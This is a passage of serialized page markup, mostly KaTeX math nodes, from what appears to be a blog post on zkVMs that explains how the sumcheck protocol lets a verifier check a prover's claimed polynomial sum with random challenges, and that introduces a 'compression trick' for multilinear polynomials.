[107273,107277],{"type":20,"tag":315,"props":107274,"children":107276},{"className":107275,"style":2444},[2443],[],{"type":20,"tag":315,"props":107278,"children":107280},{"className":107279},[2449,2450,2451,2452],[107281],{"type":20,"tag":315,"props":107282,"children":107284},{"className":107283},[2403,2452],[107285,107342,107347,107352,107357,107362,107367],{"type":20,"tag":315,"props":107286,"children":107288},{"className":107287},[2403,2452],[107289,107294],{"type":20,"tag":315,"props":107290,"children":107292},{"className":107291},[2403,19992,2452],[107293],{"type":26,"value":17680},{"type":20,"tag":315,"props":107295,"children":107297},{"className":107296},[2419],[107298],{"type":20,"tag":315,"props":107299,"children":107301},{"className":107300},[2424,20046],[107302,107331],{"type":20,"tag":315,"props":107303,"children":107305},{"className":107304},[2429],[107306,107326],{"type":20,"tag":315,"props":107307,"children":107309},{"className":107308,"style":107156},[2434],[107310],{"type":20,"tag":315,"props":107311,"children":107312},{"style":107160},[107313,107317],{"type":20,"tag":315,"props":107314,"children":107316},{"className":107315,"style":107165},[2443],[],{"type":20,"tag":315,"props":107318,"children":107320},{"className":107319},[2449,107170,107171,2452],[107321],{"type":20,"tag":315,"props":107322,"children":107324},{"className":107323},[2403,2452],[107325],{"type":26,"value":1504},{"type":20,"tag":315,"props":107327,"children":107329},{"className":107328},[20149],[107330],{"type":26,"value":20152},{"type":20,"tag":315,"props":107332,"children":107334},{"className":107333},[2429],[107335],{"type":20,"tag":315,"props":107336,"children":107338},{"className":107337,"style":107190},[2434],[107339],{"type":20,"tag":315,"props":107340,"children":107341},{},[],{"type":20,"tag":315,"props":107343,"children":107345},{"className":107344},[2586,2452],[107346],{"type":26,"value":20099},{"type":20,"tag":315,"props":107348,"children":107350},{"className":107349},[20121,2452],[107351],{"type":26,"value":74876},{"type":20,"tag":315,"props":107353,"children":107355},{"className":107354},[2403,2452],[107356],{"type":26,"value":1063},{"type":20,"tag":315,"props":107358,"children":107360},{"className":107359},[2515,2452],[107361],{"type":26,"value":2518},{"type":20,"tag":315,"props":107363,"children":107365},{"className":107364},[2403,2452],[107366],{"type":26,"value":2406},{"type":20,"tag":315,"props":107368,"children":107370},{"className":107369},[20143,2452],[107371],{"type":26,"value":32555},{"type":20,"tag":315,"props":107373,"children":107375},{"className":107374},[20149],[107376],{"type":26,"value":20152},{"type":20,"tag":315,"props":107378,"children":107380},{"className":107379},[2429],[107381],{"type":20,"tag":315,"props":107382,"children":107384},{"className":107383,"style":20160},[2434],[107385],{"type":20,"tag":315,"props":107386,"children":107387},{},[],{"type":20,"tag":315,"props":107389,"children":107391},{"className":107390,"style":2522},[2483],[],{"type":20,"tag":315,"props":107393,"children":107396},{"className":107394},[107395],"minner",[107397],{"type":26,"value":107398},"⋯",{"type":20,"tag":315,"props":107400,"children":107402},{"className":107401,"style":2522},[2483],[],{"type":20,"tag":315,"props":107404,"children":107406},{"className":107405},[20028],[107407,107412],{"type":20,"tag":315,"props":107408,"children":107410},{"className":107409,"style":20035},[20028,20033,20034],[107411],{"type":26,"value":107100},{"type":20,"tag":315,"props":107413,"children":107415},{"className":107414},[2419],[107416],{"type":20,"tag":315,"props":107417,"children":107419},{"className":107418},[2424,20046],[107420,107536],{"type":20,"tag":315,"props":107421,"children":107423},{"className":107422},[2429],[107424,107531],{"type":20,"tag":315,"props":107425,"children":107427},{"className":107426,"style":20055},[2434],[107428],{"type":20,"tag":315,"props":107429,"children":107430},{"style":20059},[107431,107435],{"type":20,"tag":315,"props":107432,"children":107434},{"className":107433,"style":2444},[2443],[],{"type":20,"tag":315,"props":107436,"children":107438},{"className":107437},[2449,2450,2451,2452],[107439],{"type":20,"tag":315,"props":107440,"children":107442},{"className":107441},[2403,2452],[107443,107501,107506,107511,107516,107521,107526],{"type":20,"tag":315,"props":107444,"children":107446},{"className":107445},[2403,2452],[107447,107452],{"type":20,"tag":315,"props":107448,"children":107450},{"className":107449},[2403,19992,2452],[107451],{"type":26,"value":17680},{"type":20,"tag":315,"props":107453,"children":107455},{"className":107454},[2419],[107456],{"type":20,"tag":315,"props":107457,"children":107459},{"className":107458},[2424,20046],[107460,107490],{"type":20,"tag":315,"props":107461,"children":107463},{"className":107462},[2429],[107464,107485],{"type":20,"tag":315,"props":107465,"children":107468},{"className":107466,"style":107467},[2434],"height:0.1645em;",[107469],{"type":20,"tag":315,"props":107470,"children":107471},{"style":107160},[107472,107476],{"type":20,"tag":315,"props":107473,"children":107475},{"className":107474,"style":107165},[2443],[],{"type":20,"tag":315,"props":107477,"children":107479},{"className":107478},[2449,107170,107171,2452],[107480],{"type":20,"tag":315,"props":107481,"children":107483},{"className":107482},[2403,19992,2452],[107484],{"type":26,"value":54656},{"type":20,"tag":315,"props":107486,"children":107488},{"className":107487},[20149],[107489],{"type":26,"value":20152},{"type":20,"tag":315,"props":107491,"children":107493},{"className":107492},[2429],[107494],{"type":20,"tag":315,"props":107495,"children":107497},{"className":107496,"style":107190},[2434],[107498],{"type":20,"tag":315,"props":107499,"children":107500},{},[],{"type":20,"tag":315,"props":107502,"children":107504},{"className":107503},[2586,2452],[107505],{"type":26,"value":20099},{"type":20,"tag":315,"props":107507,"children":107509},{"className":107508},[20121,2452],[107510],{"type":26,"value":74876},{"type":20,"tag":315,"props":107512,"children":107514},{"className":107513},[2403,2452],[107515],{"type":26,"value":1063},{"type":20,"tag":315,"props":107517,"children":107519},{"className":107518},[2515,2452],[107520],{"type":26,"value":2518},{"type":20,"tag":315,"props":107522,"children":107524},{"className":107523},[2403,2452],[107525],{"type":26,"value":2406},{"type":20,"tag":315,"props":107527,"children":107529},{"className":107528},[20143,2452],[107530],{"type":26,"value":32555},{"type":20,"tag":315,"props":107532,"children":107534},{"className":107533},[20149],[107535],{"type":26,"value":20152},{"type":20,"tag":315,"props":107537,"children":107539},{"className":107538},[2429],[107540],{"type":20,"tag":315,"props":107541,"children":107543},{"className":107542,"style":20160},[2434],[107544],{"type":20,"tag":315,"props":107545,"children":107546},{},[],{"type":20,"tag":315,"props":107548,"children":107550},{"className":107549,"style":2522},[2483],[],{"type":20,"tag":315,"props":107552,"children":107554},{"className":107553,"style":91791},[2403,19992],[107555],{"type":26,"value":107556},"g",{"type":20,"tag":315,"props":107558,"children":107560},{"className":107559},[20121],[107561],{"type":26,"value":1049},{"type":20,"tag":315,"props":107563,"children":107565},{"className":107564},[2403],[107566,107571],{"type":20,"tag":315,"props":107567,"children":107569},{"className":107568},[2403,19992],[107570],{"type":26,"value":17680},{"type":20,"tag":315,"props":107572,"children":107574},{"className":107573},[2419],[107575],{"type":20,"tag":315,"props":107576,"children":107578},{"className":107577},[2424,20046],[107579,107608],{"type":20,"tag":315,"props":107580,"children":107582},{"className":107581},[2429],[107583,107603],{"type":20,"tag":315,"props":107584,"children":107586},{"className":107585,"style":91357},[2434],[107587],{"type":20,"tag":315,"props":107588,"children":107589},{"style":91361},[107590,107594],{"type":20,"tag":315,"props":107591,"children":107593},{"className":107592,"style":2444},[2443],[],{"type":20,"tag":315,"props":107595,"children":107597},{"className":107596},[2449,2450,2451,2452],[107598],{"type":20,"tag":315,"props":107599,"children":107601},{"className":107600},[2403,2452],[107602],{"type":26,"value":2406},{"type":20,"tag":315,"props":107604,"children":107606},{"className":107605},[20149],[107607],{"type":26,"value":20152},{"type":20,"tag":315,"props":107609,"children":107611},{"className":107610},[2429],[107612],{"type":20,"tag":315,"props":107613,"children":107615},{"className":107614,"style":91388},[2434],[107616],{"type":20,"tag":315,"props":107617,"children":107618},{},[],{"type":20,"tag":315,"props":107620,"children":107622},{"className":107621},[2515],[107623],{"type":26,"value":2518},{"type":20,"tag":315,"props":107625,"children":107627},{"className":107626,"style":2522},[2483],[],{"type":20,"tag":315,"props":107629,"children":107631},{"className":107630},[2403],[107632,107637],{"type":20,"tag":315,"props":107633,"children":107635},{"className":107634},[2403,19992],[107636],{"type":26,"value":17680},{"type":20,"tag":315,"props":107638,"children":107640},{"className":107639},[2419],[107641],{"type":20,"tag":315,"props":107642,"children":107644},{"className":107643},[2424,20046],[107645,107674],{"type":20,"tag":315,"props":107646,"children":107648},{"className":107647},[2429],[107649,107669],{"type":20,"tag":315,"props":107650,"children":107652},{"className":107651,"style":91357},[2434],[107653],{"type":20,"tag":315,"props":107654,"children":107655},{"style":91361},[107656,107660],{"type":20,"tag":315,"props":107657,"children":107659},{"className":107658,"style":2444},[2443],[],{"type":20,"tag":315,"props":107661,"children":107663},{"className":107662},[2449,2450,2451,2452],[107664],{"type":20,"tag":315,"props":107665,"children":107667},{"className":107666},[2403,2452],[107668],{"type":26,"value":1504},{"type":20,"tag":315,"props":107670,"children":107672},{"className":107671},[20149],[107673],{"type":26,"value":20152},{"type":20,"tag":315,"props":107675,"children":107677},{"className":107676},[2429],[107678],{"type":20,"tag":315,"props":107679,"children":107681},{"className":107680,"style":91388},[2434],[107682],{"type":20,"tag":315,"props":107683,"children":107684},{},[],{"type":20,"tag":315,"props":107686,"children":107688},{"className":107687},[2515],[107689],{"type":26,"value":2518},{"type":20,"tag":315,"props":107691,"children":107693},{"className":107692,"style":2522},[2483],[],{"type":20,"tag":315,"props":107695,"children":107697},{"className":107696},[107395],[107698],{"type":26,"value":107699},"…",{"type":20,"tag":315,"props":107701,"children":107703},{"className":107702,"style":2522},[2483],[],{"type":20,"tag":315,"props":107705,"children":107707},{"className":107706},[2515],[107708],{"type":26,"value":2518},{"type":20,"tag":315,"props":107710,"children":107712},{"className":107711,"style":2522},[2483],[],{"type":20,"tag":315,"props":107714,"children":107716},{"className":107715},[2403],[107717,107722],{"type":20,"tag":315,"props":107718,"children":107720},{"className":107719},[2403,19992],[107721],{"type":26,"value":17680},{"type":20,"tag":315,"props":107723,"children":107725},{"className":107724},[2419],[107726],{"type":20,"tag":315,"props":107727,"children":107729},{"className":107728},[2424,20046],[107730,107760],{"type":20,"tag":315,"props":107731,"children":107733},{"className":107732},[2429],[107734,107755],{"type":20,"tag":315,"props":107735,"children":107738},{"className":107736,"style":107737},[2434],"height:0.1514em;",[107739],{"type":20,"tag":315,"props":107740,"children":107741},{"style":91361},[107742,107746],{"type":20,"tag":315,"props":107743,"children":107745},{"className":107744,"style":2444},[2443],[],{"type":20,"tag":315,"props":107747,"children":107749},{"className":107748},[2449,2450,2451,2452],[107750],{"type":20,"tag":315,"props":107751,"children":107753},{"className":107752},[2403,19992,2452],[107754],{"type":26,"value":54656},{"type":20,"tag":315,"props":107756,"children":107758},{"className":107757},[20149],[107759],{"type":26,"value":20152},{"type":20,"tag":315,"props":107761,"children":107763},{"className":107762},[2429],[107764],{"type":20,"tag":315,"props":107765,"children":107767},{"className":107766,"style":91388},[2434],[107768],{"type":20,"tag":315,"props":107769,"children":107770},{},[],{"type":20,"tag":315,"props":107772,"children":107774},{"className":107773},[20143],[107775],{"type":26,"value":1509},{"type":20,"tag":29,"props":107777,"children":107778},{},[107779,107781,107842],{"type":26,"value":107780},"The naive approach would be for the verifier to compute all ",{"type":20,"tag":119,"props":107782,"children":107784},{"className":107783},[2375,2376],[107785],{"type":20,"tag":315,"props":107786,"children":107788},{"className":107787},[2381],[107789],{"type":20,"tag":315,"props":107790,"children":107792},{"className":107791,"ariaHidden":2387},[2386],[107793],{"type":20,"tag":315,"props":107794,"children":107796},{"className":107795},[2392],[107797,107801],{"type":20,"tag":315,"props":107798,"children":107800},{"className":107799,"style":107022},[2397],[],{"type":20,"tag":315,"props":107802,"children":107804},{"className":107803},[2403],[107805,107810],{"type":20,"tag":315,"props":107806,"children":107808},{"className":107807},[2403],[107809],{"type":26,"value":1504},{"type":20,"tag":315,"props":107811,"children":107813},{"className":107812},[2419],[107814],{"type":20,"tag":315,"props":107815,"children":107817},{"className":107816},[2424],[107818],{"type":20,"tag":315,"props":107819,"children":107821},{"className":107820},[2429],[107822],{"type":20,"tag":315,"props":107823,"children":107825},{"className":107824,"style":107022},[2434],[107826],{"type":20,"tag":315,"props":107827,"children":107828},{"style":2438},[107829,107833],{"type":20,"tag":315,"props":107830,"children":107832},{"className":107831,"style":2444},[2443],[],{"type":20,"tag":315,"props":107834,"children":107836},{"className":107835},[2449,2450,2451,2452],[107837],{"type":20,"tag":315,"props":107838,"children":107840},{"className":107839},[2403,19992,2452],[107841],{"type":26,"value":54656},{"type":26,"value":107843}," evaluations. This is exponentially expensive.",{"type":20,"tag":29,"props":107845,"children":107846},{},[107847,107849,107854],{"type":26,"value":107848},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":20,"tag":3717,"props":107850,"children":107851},{},[107852],{"type":26,"value":107853},"only one",{"type":26,"value":61},{"type":20,"tag":29,"props":107856,"children":107857},{},[107858],{"type":20,"tag":2308,"props":107859,"children":107862},{"alt":107860,"src":107861},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":20,"tag":29,"props":107864,"children":107865},{},[107866,107868,107960,107962,108147,108149,108174,108176,108254,108256,108335],{"type":26,"value":107867},"In each round, the prover must send a polynomial ",{"type":20,"tag":119,"props":107869,"children":107871},{"className":107870},[2375,2376],[107872],{"type":20,"tag":315,"props":107873,"children":107875},{"className":107874},[2381],[107876],{"type":20,"tag":315,"props":107877,"children":107879},{"className":107878,"ariaHidden":2387},[2386],[107880],{"type":20,"tag":315,"props":107881,"children":107883},{"className":107882},[2392],[107884,107888,107945,107950,107955],{"type":20,"tag":315,"props":107885,"children":107887},{"className":107886,"style":2504},[2397],[],{"type":20,"tag":315,"props":107889,"children":107891},{"className":107890},[2403],[107892,107897],{"type":20,"tag":315,"props":107893,"children":107895},{"className":107894,"style":91791},[2403,19992],[107896],{"type":26,"value":107556},{"type":20,"tag":315,"props":107898,"children":107900},{"className":107899},[2419],[107901],{"type":20,"tag":315,"props":107902,"children":107904},{"className":107903},[2424,20046],[107905,107934],{"type":20,"tag":315,"props":107906,"children":107908},{"className":107907},[2429],[107909,107929],{"type":20,"tag":315,"props":107910,"children":107912},{"className":107911,"style":91834},[2434],[107913],{"type":20,"tag":315,"props":107914,"children":107915},{"style":91838},[107916,107920],{"type":20,"tag":315,"props":107917,"children":107919},{"className":107918,"style":2444},[2443],[],{"type":20,"tag":315,"props":107921,"children":107923},{"className":107922},[2449,2450,2451,2452],[107924],{"type":20,"tag":315,"props":107925,"children":107927},{"className":107926},[2403,19992,2452],[107928],{"type":26,"value":2122},{"type":20,"tag":315,"props":107930,"children":107932},{"className":107931},[20149],[107933],{"type":26,"value":20152},{"type":20,"tag":315,"props":107935,"children":107937},{"className":107936},[2429],[107938],{"type":20,"tag":315,"props":107939,"children":107941},{"className":107940,"style":91388},[2434],[107942],{"type":20,"tag":315,"props":107943,"children":107944},{},[],{"type":20,"tag":315,"props":107946,"children":107948},{"className":107947},[20121],[107949],{"type":26,"value":1049},{"type":20,"tag":315,"props":107951,"children":107953},{"className":107952,"style":93325},[2403,19992],[107954],{"type":26,"value":4527},{"type":20,"tag":315,"props":107956,"children":107958},{"className":107957},[20143],[107959],{"type":26,"value":1509},{"type":26,"value":107961}," such that ",{"type":20,"tag":119,"props":107963,"children":107965},{"className":107964},[2375,2376],[107966],{"type":20,"tag":315,"props":107967,"children":107969},{"className":107968},[2381],[107970],{"type":20,"tag":315,"props":107971,"children":107973},{"className":107972,"ariaHidden":2387},[2386],[107974,108067],{"type":20,"tag":315,"props":107975,"children":107977},{"className":107976},[2392],[107978,107982,108039,108044,108049,108054,108058,108063],{"type":20,"tag":315,"props":107979,"children":107981},{"className":107980,"style":2504},[2397],[],{"type":20,"tag":315,"props":107983,"children":107985},{"className":107984},[2403],[107986,107991],{"type":20,"tag":315,"props":107987,"children":107989},{"className":107988,"style":91791},[2403,19992],[107990],{"type":26,"value":107556},{"type":20,"tag":315,"props":107992,"children":107994},{"className":107993},[2419],[107995],{"type":20,"tag":315,"props":107996,"children":107998},{"className":107997},[2424,20046],[107999,108028],{"type":20,"tag":315,"props":108000,"children":108002},{"className":108001},[2429],[108003,108023],{"type":20,"tag":315,"props":108004,"children":108006},{"className":108005,"style":91834},[2434],[108007],{"type":20,"tag":315,"props":108008,"children":108009},{"style":91838},[108010,108014],{"type":20,"tag":315,"props":108011,"children":108013},{"className":108012,"style":2444},[2443],[],{"type":20,"tag":315,"props":108015,"children":108017},{"className":108016},[2449,2450,2451,2452],[108018],{"type":20,"tag":315,"props":108019,"children":108021},{"className":108020},[2403,19992,2452],[108022],{"type":26,"value":2122},{"type":20,"tag":315,"props":108024,"children":108026},{"className":108025},[20149],[108027],{"type":26,"value":20152},{"type":20,"tag":315,"props":108029,"children":108031},{"className":108030},[2429],[108032],{"type":20,"tag":315,"props":108033,"children":108035},{"className":108034,"style":91388},[2434],[108036],{"type":20,"tag":315,"props":108037,"children":108038},{},[],{"type":20,"tag":315,"props":108040,"children":108042},{"className":108041},[20121],[108043],{"type":26,"value":1049},{"type":20,"tag":315,"props":108045,"children":108047},{"className":108046},[2403],[108048],{"type":26,"value":1063},{"type":20,"tag":315,"props":108050,"children":108052},{"className":108051},[20143],[108053],{"type":26,"value":1509},{"type":20,"tag":315,"props":108055,"children":108057},{"className":108056,"style":2484},[2483],[],{"type":20,"tag":315,"props":108059,"children":108061},{"className":108060},[2489],[108062],{"type":26,"value":817},{"type":20,"tag":315,"props":108064,"children":108066},{"className":108065,"style":2484},[2483],[],{"type":20,"tag":315,"props":108068,"children":108070},{"className":108069},[2392],[108071,108075,108132,108137,108142],{"type":20,"tag":315,"props":108072,"children":108074},{"className":108073,"style":2504},[2397],[],{"type":20,"tag":315,"props":108076,"children":108078},{"className":108077},[2403],[108079,108084],{"type":20,"tag":315,"props":108080,"children":108082},{"className":108081,"style":91791},[2403,19992],[108083],{"type":26,"value":107556},{"type":20,"tag":315,"props":108085,"children":108087},{"className":108086},[2419],[108088],{"type":20,"tag":315,"props":108089,"children":108091},{"className":108090},[2424,20046],[108092,108121],{"type":20,"tag":315,"props":108093,"children":108095},{"className":108094},[2429],[108096,108116],{"type":20,"tag":315,"props":108097,"children":108099},{"className":108098,"style":91834},[2434],[108100],{"type":20,"tag":315,"props":108101,"children":108102},{"style":91838},[108103,108107],{"type":20,"tag":315,"props":108104,"children":108106},{"className":108105,"style":2444},[2443],[],{"type":20,"tag":315,"props":108108,"children":108110},{"className":108109},[2449,2450,2451,2452],[108111],{"type":20,"tag":315,"props":108112,"children":108114},{"className":108113},[2403,19992,2452],[108115],{"type":26,"value":2122},{"type":20,"tag":315,"props":108117,"children":108119},{"className":108118},[20149],[108120],{"type":26,"value":20152},{"type":20,"tag":315,"props":108122,"children":108124},{"className":108123},[2429],[108125],{"type":20,"tag":315,"props":108126,"children":108128},{"className":108127,"style":91388},[2434],[108129],{"type":20,"tag":315,"props":108130,"children":108131},{},[],{"type":20,"tag":315,"props":108133,"children":108135},{"className":108134},[20121],[108136],{"type":26,"value":1049},{"type":20,"tag":315,"props":108138,"children":108140},{"className":108139},[2403],[108141],{"type":26,"value":2406},{"type":20,"tag":315,"props":108143,"children":108145},{"className":108144},[20143],[108146],{"type":26,"value":1509},{"type":26,"value":108148}," equals the previous claim. If the prover is lying about the original sum ",{"type":20,"tag":119,"props":108150,"children":108152},{"className":108151},[2375,2376],[108153],{"type":20,"tag":315,"props":108154,"children":108156},{"className":108155},[2381],[108157],{"type":20,"tag":315,"props":108158,"children":108160},{"className":108159,"ariaHidden":2387},[2386],[108161],{"type":20,"tag":315,"props":108162,"children":108164},{"className":108163},[2392],[108165,108169],{"type":20,"tag":315,"props":108166,"children":108168},{"className":108167,"style":19987},[2397],[],{"type":20,"tag":315,"props":108170,"children":108172},{"className":108171,"style":91539},[2403,19992],[108173],{"type":26,"value":91542},{"type":26,"value":108175},", then they must lie about ",{"type":20,"tag":119,"props":108177,"children":108179},{"className":108178},[2375,2376],[108180],{"type":20,"tag":315,"props":108181,"children":108183},{"className":108182},[2381],[108184],{"type":20,"tag":315,"props":108185,"children":108187},{"className":108186,"ariaHidden":2387},[2386],[108188],{"type":20,"tag":315,"props":108189,"children":108191},{"className":108190},[2392],[108192,108197],{"type":20,"tag":315,"props":108193,"children":108196},{"className":108194,"style":108195},[2397],"height:0.625em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":108198,"children":108200},{"className":108199},[2403],[108201,108206],{"type":20,"tag":315,"props":108202,"children":108204},{"className":108203,"style":91791},[2403,19992],[108205],{"type":26,"value":107556},{"type":20,"tag":315,"props":108207,"children":108209},{"className":108208},[2419],[108210],{"type":20,"tag":315,"props":108211,"children":108213},{"className":108212},[2424,20046],[108214,108243],{"type":20,"tag":315,"props":108215,"children":108217},{"className":108216},[2429],[108218,108238],{"type":20,"tag":315,"props":108219,"children":108221},{"className":108220,"style":91834},[2434],[108222],{"type":20,"tag":315,"props":108223,"children":108224},{"style":91838},[108225,108229],{"type":20,"tag":315,"props":108226,"children":108228},{"className":108227,"style":2444},[2443],[],{"type":20,"tag":315,"props":108230,"children":108232},{"className":108231},[2449,2450,2451,2452],[108233],{"type":20,"tag":315,"props":108234,"children":108236},{"className":108235},[2403,19992,2452],[108237],{"type":26,"value":2122},{"type":20,"tag":315,"props":108239,"children":108241},{"className":108240},[20149],[108242],{"type":26,"value":20152},{"type":20,"tag":315,"props":108244,"children":108246},{"className":108245},[2429],[108247],{"type":20,"tag":315,"props":108248,"children":108250},{"className":108249,"style":91388},[2434],[108251],{"type":20,"tag":315,"props":108252,"children":108253},{},[],{"type":26,"value":108255}," somewhere. But since the verifier picks a random ",{"type":20,"tag":119,"props":108257,"children":108259},{"className":108258},[2375,2376],[108260],{"type":20,"tag":315,"props":108261,"children":108263},{"className":108262},[2381],[108264],{"type":20,"tag":315,"props":108265,"children":108267},{"className":108266,"ariaHidden":2387},[2386],[108268],{"type":20,"tag":315,"props":108269,"children":108271},{"className":108270},[2392],[108272,108277],{"type":20,"tag":315,"props":108273,"children":108276},{"className":108274,"style":108275},[2397],"height:0.5806em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":108278,"children":108280},{"className":108279},[2403],[108281,108286],{"type":20,"tag":315,"props":108282,"children":108284},{"className":108283,"style":91305},[2403,19992],[108285],{"type":26,"value":92124},{"type":20,"tag":315,"props":108287,"children":108289},{"className":108288},[2419],[108290],{"type":20,"tag":315,"props":108291,"children":108293},{"className":108292},[2424,20046],[108294,108324],{"type":20,"tag":315,"props":108295,"children":108297},{"className":108296},[2429],[108298,108319],{"type":20,"tag":315,"props":108299,"children":108301},{"className":108300,"style":91834},[2434],[108302],{"type":20,"tag":315,"props":108303,"children":108305},{"style":108304},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[108306,108310],{"type":20,"tag":315,"props":108307,"children":108309},{"className":108308,"style":2444},[2443],[],{"type":20,"tag":315,"props":108311,"children":108313},{"className":108312},[2449,2450,2451,2452],[108314],{"type":20,"tag":315,"props":108315,"children":108317},{"className":108316},[2403,19992,2452],[108318],{"type":26,"value":2122},{"type":20,"tag":315,"props":108320,"children":108322},{"className":108321},[20149],[108323],{"type":26,"value":20152},{"type":20,"tag":315,"props":108325,"children":108327},{"className":108326},[2429],[108328],{"type":20,"tag":315,"props":108329,"children":108331},{"className":108330,"style":91388},[2434],[108332],{"type":20,"tag":315,"props":108333,"children":108334},{},[],{"type":26,"value":108336},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":20,"tag":17297,"props":108338,"children":108340},{"id":108339},"the-compression-trick",[108341],{"type":26,"value":108342},"The Compression Trick",{"type":20,"tag":29,"props":108344,"children":108345},{},[108346,108348,108498,108500,108780],{"type":26,"value":108347},"For degree-1 (multilinear) polynomials, ",{"type":20,"tag":119,"props":108349,"children":108351},{"className":108350},[2375,2376],[108352],{"type":20,"tag":315,"props":108353,"children":108355},{"className":108354},[2381],[108356],{"type":20,"tag":315,"props":108357,"children":108359},{"className":108358,"ariaHidden":2387},[2386],[108360,108453,108480],{"type":20,"tag":315,"props":108361,"children":108363},{"className":108362},[2392],[108364,108368,108425,108430,108435,108440,108444,108449],{"type":20,"tag":315,"props":108365,"children":108367},{"className":108366,"style":2504},[2397],[],{"type":20,"tag":315,"props":108369,"children":108371},{"className":108370},[2403],[108372,108377],{"type":20,"tag":315,"props":108373,"children":108375},{"className":108374,"style":91791},[2403,19992],[108376],{"type":26,"value":107556},{"type":20,"tag":315,"props":108378,"children":108380},{"className":108379},[2419],[108381],{"type":20,"tag":315,"props":108382,"children":108384},{"className":108383},[2424,20046],[108385,108414],{"type":20,"tag":315,"props":108386,"children":108388},{"className":108387},[2429],[108389,108409],{"type":20,"tag":315,"props":108390,"children":108392},{"className":108391,"style":91834},[2434],[108393],{"type":20,"tag":315,"props":108394,"children":108395},{"style":91838},[108396,108400],{"type":20,"tag":315,"props":108397,"children":108399},{"className":108398,"style":2444},[2443],[],{"type":20,"tag":315,"props":108401,"children":108403},{"className":108402},[2449,2450,2451,2452],[108404],{"type":20,"tag":315,"props":108405,"children":108407},{"className":108406},[2403,19992,2452],[108408],{"type":26,"value":2122},{"type":20,"tag":315,"props":108410,"children":108412},{"className":108411},[20149],[108413],{"type":26,"value":20152},{"type":20,"tag":315,"props":108415,"children":108417},{"className":108416},[2429],[108418],{"type":20,"tag":315,"props":108419,"children":108421},{"className":108420,"style":91388},[2434],[108422],{"type":20,"tag":315,"props":108423,"children":108424},{},[],{"type":20,"tag":315,"props":108426,"children":108428},{"className":108427},[20121],[108429],{"type":26,"value":1049},{"type":20,"tag":315,"props":108431,"children":108433},{"className":108432,"style":93325},[2403,19992],[108434],{"type":26,"value":4527},{"type":20,"tag":315,"props":108436,"children":108438},{"className":108437},[20143],[108439],{"type":26,"value":1509},{"type":20,"tag":315,"props":108441,"children":108443},{"className":108442,"style":2581},[2483],[],{"type":20,"tag":315,"props":108445,"children":108447},{"className":108446},[2586],[108448],{"type":26,"value":337},{"type":20,"tag":315,"props":108450,"children":108452},{"className":108451,"style":2581},[2483],[],{"type":20,"tag":315,"props":108454,"children":108456},{"className":108455},[2392],[108457,108462,108467,108471,108476],{"type":20,"tag":315,"props":108458,"children":108461},{"className":108459,"style":108460},[2397],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":108463,"children":108465},{"className":108464},[2403,19992],[108466],{"type":26,"value":35},{"type":20,"tag":315,"props":108468,"children":108470},{"className":108469,"style":2484},[2483],[],{"type":20,"tag":315,"props":108472,"children":108474},{"className":108473},[2489],[108475],{"type":26,"value":817},{"type":20,"tag":315,"props":108477,"children":108479},{"className":108478,"style":2484},[2483],[],{"type":20,"tag":315,"props":108481,"children":108483},{"className":108482},[2392],[108484,108488,108493],{"type":20,"tag":315,"props":108485,"children":108487},{"className":108486,"style":91220},[2397],[],{"type":20,"tag":315,"props":108489,"children":108491},{"className":108490},[2403,19992],[108492],{"type":26,"value":1604},{"type":20,"tag":315,"props":108494,"children":108496},{"className":108495,"style":93325},[2403,19992],[108497],{"type":26,"value":4527},{"type":26,"value":108499}," has only two coefficients. Since the verifier knows ",{"type":20,"tag":119,"props":108501,"children":108503},{"className":108502},[2375,2376],[108504],{"type":20,"tag":315,"props":108505,"children":108507},{"className":108506},[2381],[108508],{"type":20,"tag":315,"props":108509,"children":108511},{"className":108510,"ariaHidden":2387},[2386],[108512,108605,108698],{"type":20,"tag":315,"props":108513,"children":108515},{"className":108514},[2392],[108516,108520,108577,108582,108587,108592,108596,108601],{"type":20,"tag":315,"props":108517,"children":108519},{"className":108518,"style":2504},[2397],[],{"type":20,"tag":315,"props":108521,"children":108523},{"className":108522},[2403],[108524,108529],{"type":20,"tag":315,"props":108525,"children":108527},{"className":108526,"style":91791},[2403,19992],[108528],{"type":26,"value":107556},{"type":20,"tag":315,"props":108530,"children":108532},{"className":108531},[2419],[108533],{"type":20,"tag":315,"props":108534,"children":108536},{"className":108535},[2424,20046],[108537,108566],{"type":20,"tag":315,"props":108538,"children":108540},{"className":108539},[2429],[108541,108561],{"type":20,"tag":315,"props":108542,"children":108544},{"className":108543,"style":91834},[2434],[108545],{"type":20,"tag":315,"props":108546,"children":108547},{"style":91838},[108548,108552],{"type":20,"tag":315,"props":108549,"children":108551},{"className":108550,"style":2444},[2443],[],{"type":20,"tag":315,"props":108553,"children":108555},{"className":108554},[2449,2450,2451,2452],[108556],{"type":20,"tag":315,"props":108557,"children":108559},{"className":108558},[2403,19992,2452],[108560],{"type":26,"value":2122},{"type":20,"tag":315,"props":108562,"children":108564},{"className":108563},[20149],[108565],{"type":26,"value":20152},{"type":20,"tag":315,"props":108567,"children":108569},{"className":108568},[2429],[108570],{"type":20,"tag":315,"props":108571,"children":108573},{"className":108572,"style":91388},[2434],[108574],{"type":20,"tag":315,"props":108575,"children":108576},{},[],{"type":20,"tag":315,"props":108578,"children":108580},{"className":108579},[20121],[108581],{"type":26,"value":1049},{"type":20,"tag":315,"props":108583,"children":108585},{"className":108584},[2403],[108586],{"type":26,"value":1063},{"type":20,"tag":315,"props":108588,"children":108590},{"className":108589},[20143],[108591],{"type":26,"value":1509},{"type":20,"tag":315,"props":108593,"children":108595},{"className":108594,"style":2484},[2483],[],{"type":20,"tag":315,"props":108597,"children":108599},{"className":108598},[2489],[108600],{"type":26,"value":817},{"type":20,"tag":315,"props":108602,"children":108604},{"className":108603,"style":2484},[2483],[],{"type":20,"tag":315,"props":108606,"children":108608},{"className":108607},[2392],[108609,108613,108670,108675,108680,108685,108689,108694],{"type":20,"tag":315,"props":108610,"children":108612},{"className":108611,"style":2504},[2397],[],{"type":20,"tag":315,"props":108614,"children":108616},{"className":108615},[2403],[108617,108622],{"type":20,"tag":315,"props":108618,"children":108620},{"className":108619,"style":91791},[2403,19992],[108621],{"type":26,"value":107556},{"type":20,"tag":315,"props":108623,"children":108625},{"className":108624},[2419],[108626],{"type":20,"tag":315,"props":108627,"children":108629},{"classN